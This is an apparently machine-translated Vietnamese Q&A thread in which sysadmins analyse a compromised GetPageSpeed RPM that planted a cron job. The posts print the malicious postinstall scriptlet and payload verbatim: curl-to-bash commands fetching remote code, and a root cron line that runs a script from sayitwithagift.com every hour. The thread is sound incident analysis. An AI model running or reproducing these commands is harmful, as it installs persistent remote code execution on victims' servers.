Làm thế nào để cài đặt RPM này tạo ra một tập tin?


16

Chạy yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpmtạo /etc/cron.d/sysstat2nhưng RPM từ chối tệp:

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

RPM đã tạo tập tin như thế nào và làm thế nào để tôi thấy nó đã làm gì khác?


4
Vì vậy, những người GetPageSpeed ​​này có sở hữu và họ không biết điều đó hay chính họ đang xuất bản RPM xấu?
Aaron Copley

1
RPM tôi đã cài đặt từ trang web của họ ba tháng trước là tốt. Một trong những độc hại đã được đăng ngày hôm qua. Tôi nghĩ rằng họ đã được sở hữu, và bất cứ ai sử dụng repo của họ đều được sở hữu. Một trong những độc hại đang đi xuống thông qua cập nhật yum. Tôi đã gửi cho họ một email và một tin nhắn thông qua mẫu Liên hệ với chúng tôi.
Pascal

Và nó cũng được ký bởi họ?
Aaron Copley

1
https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-7-6.el7.gps.noarch.rpmlà tập tin gốc, nó vẫn có một ngày cũ trong repo của họ và gpgcheck=1được đặt trong đó.
Pascal

1
Đề nghị bạn cũng liên hệ với quản trị viên web tại sayitwithagift.com mặc dù YMMV về loại phản hồi bạn nhận được. Cuối cùng tôi đã đi qua nhà cung cấp dịch vụ lưu trữ của một trang web để liên lạc về một máy chủ thư bị nhầm lẫn một lần vì bản thân trang web không bao giờ phản hồi.
Darren

Câu trả lời:


18
# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php chứa đựng:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2

16

Bạn đã phát hiện ra các tập lệnh của vòng / phút chạy một tập lệnh từ Internet và tập lệnh đó hiện đang chuyển hướng đến những gì có thể là phần mềm độc hại. Mặc dù, tôi không tìm thấy nhiều trọng tải mà làm bất cứ điều gì.

vòng / phút không thể hoàn toàn theo dõi những gì đã xảy ra bởi vì nó đang chạy một kịch bản tùy ý.

gpgcheck sẽ không giúp bạn, cả getpagespeed-extras-7-6.el7.gps.noarch.rpmgetpagespeed-extras-release-7-1.el7.gps.noarch.rpmbạn được liên kết dường như có chữ ký hợp lệ:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <info@getpagespeed.com>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

Khiếu nại với chủ sở hữu repo rằng gói chạy mã tùy ý từ Internet. Nếu phải làm như vậy, bảo mật chuỗi cung ứng phần mềm của họ cần được cải thiện.

Có vẻ hơi hoang tưởng khi thực hiện cài đặt phần mềm đầu tiên mà không cần truy cập Internet hoặc kiểm tra thủ công tập lệnh "cài đặt bài". Nhưng thật không may, hầu như có vẻ cần thiết nếu các gói làm thủ thuật thiếu sáng suốt như thế này.


Tải trọng là một công việc định kỳ tải xuống và chạy ' sayitwithagift.com/pwn.php ' mỗi giờ. Hiện tại không có gì ở đó, nhưng điều đó có thể thay đổi bất cứ lúc nào. Xóa RPM không xóa tải trọng.
Pascal

RPM ban đầu của họ không có scriptlet cài đặt. Chỉ có phiên bản được tải lên ngày hôm qua (có lẽ là do tin tặc) làm.
Pascal

1
Không rõ việc bổ sung từ mã thực thi Internet là ý tưởng hợp pháp hay được thêm bởi nhóm phần mềm độc hại. Điều thứ hai thậm chí còn tồi tệ hơn, bởi vì điều đó ngụ ý quá trình ký và tải lên đã bị xâm phạm.
John Mahowald

1

Tôi có 5 máy chủ CLoudLinux / cPanel đã từng sử dụng Nginx trên chúng thông qua Engintron, nhưng hiện tại chúng chạy máy chủ web LiteSpeed. Tôi nghĩ rằng Engintron có thể đã để lại các repos trang bị bỏ lại khi nó được gỡ cài đặt. cPanel chạy kiểm tra cập nhật mỗi đêm và vào khoảng nửa đêm tất cả các máy chủ của tôi đã gửi cho tôi một báo cáo E-mail:

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

Một tìm kiếm cho trang web tải trọng đã dẫn tôi đến đây, nơi tôi thấy rằng vào cùng ngày bạn có cùng một vấn đề. Vì vậy, để thêm thông tin của tôi cho riêng bạn. Các /etc/cron.d/sysstat2tập tin tương tự đã tồn tại trên tất cả các máy chủ của tôi.

Tôi đã xóa tệp, xóa các repos và sử dụng biểu mẫu liên hệ tại GetPageSpeed ​​để báo cáo vấn đề. Chủ sở hữu của Repo có thể là AWOL vì có một bài đăng trên blog nói rằng anh ta đã tắt repo do vấn đề sức khỏe. Vì vậy, có lẽ kẻ tấn công đã lợi dụng thực tế là repo không được chú ý, hoặc tìm thấy một cánh cửa mở để khai thác.


1
Thông báo về việc tắt repo đã được đăng sau khi anh ấy nhận được email của tôi về việc bị xâm phạm. Tôi yêu cầu anh ta mở lại repo và đăng các gói cập nhật để gỡ bỏ /etc/cron.d/sysstat2. Anh ấy đã làm như vậy.
Pascal
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.